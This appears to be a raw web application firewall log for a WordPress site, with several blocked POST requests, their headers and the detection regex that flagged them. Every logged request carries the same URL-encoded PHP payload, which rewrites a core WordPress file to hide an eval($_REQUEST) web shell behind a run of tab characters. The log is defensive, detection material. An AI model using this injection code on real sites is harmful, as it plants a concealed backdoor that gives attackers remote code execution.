Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nWv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:34","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ge:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:2064\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nGe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:35","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:2064\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\niR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:37","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:2064\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\npc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:39","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2087\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:52:41","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2064\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nzw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%